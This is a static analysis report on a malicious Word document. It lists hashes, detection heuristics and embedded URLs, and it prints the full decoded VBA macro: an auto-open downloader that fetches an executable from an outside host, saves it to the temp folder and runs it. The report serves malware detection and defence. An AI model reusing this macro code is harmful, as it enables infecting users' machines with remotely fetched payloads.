Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ef0bb182f1c53e38…

MALICIOUS

Office (OLE)

58.5 KB Created: 2014-06-09 01:37:00 Authoring application: Microsoft Office Word First seen: 2014-06-16
MD5: 0c95e45cac713438fa4c71d74e3deac8 SHA-1: 6a6a088f3efcc72f149b9c2c6de7071428aec2d5 SHA-256: ef0bb182f1c53e38bfb21150a95d5d99128804728ee2f3b9feea2975ad4a6a12
274 Risk Score

Heuristics 11

  • ClamAV: Doc.Macro.GenericHeuristic-5931846-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.GenericHeuristic-5931846-4
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        DXOQOT = Shell(QUMIWQ, 1)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set XZZSKU = CreateObject("MSXML2.XMLHTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
        Auto_Open
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        GODIEH "http://s1.directxex.com/uploads/SUxPnntk5oxlIOwoI9LXfXKLFiVkOxWb6BYwTKQXzH49husRbp82Q_86W7gGFbThS3OiQ5RNY7EUE606RxRze_l2fV0F-MAoZ2ZM", Environ("TMP") & "\FNRYMY.exe"
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://s1.directxex.com/uploads/SUxPnntk5oxlIOwoI9LXfXKLFiVkOxWb6BYwTKQXzH49husRbp82Q_86W7gGFbThS3OiQ5RNY7EUE606RxRze_l2fV0F-MAoZ2ZM� In document text (OLE body)
    • http://s1.directxex.com/uploads/SUxPnntk5oxlIOwoI9LXfXKLFiVkOxWb6BYwTKQXzH49husRbp82Q_86W7gGFbThS3OiQ5RNY7EUE606RxRze_l2fV0F-MAoZ2ZMIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1235 bytes
SHA-256: 12bac35edc7a476249ae2f4ac5f10258d0005bfe9788cd4e07bcea2dc84d7be9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Workbook_Open()
    Auto_Open
End Sub
Sub VVAFNS()
    GODIEH "http://s1.directxex.com/uploads/SUxPnntk5oxlIOwoI9LXfXKLFiVkOxWb6BYwTKQXzH49husRbp82Q_86W7gGFbThS3OiQ5RNY7EUE606RxRze_l2fV0F-MAoZ2ZM", Environ("TMP") & "\FNRYMY.exe"
End Sub
Function GODIEH(ByVal NBMXGK As String, ByVal QUMIWQ As String) As Boolean
     Dim XZZSKU As Object, FVSDVL As Long, ZQEGVO As Long, CSPBKM() As Byte

    Set XZZSKU = CreateObject("MSXML2.XMLHTTP")
    XZZSKU.Open "GET", NBMXGK, False
    XZZSKU.Send "send request"

    Do While XZZSKU.readyState <> 4
    DoEvents
    Loop

    CSPBKM = XZZSKU.responseBody

    ZQEGVO = FreeFile
    If Dir(QUMIWQ) <> "" Then Kill QUMIWQ
    Open QUMIWQ For Binary As #ZQEGVO
    Put #ZQEGVO, , CSPBKM
    Close #ZQEGVO
    
    Dim DXOQOT
    DXOQOT = Shell(QUMIWQ, 1)

    Set XZZSKU = Nothing
     
End Function
Sub Auto_Open()
VVAFNS
End Sub
Sub AutoOpen()
    Auto_Open
End Sub

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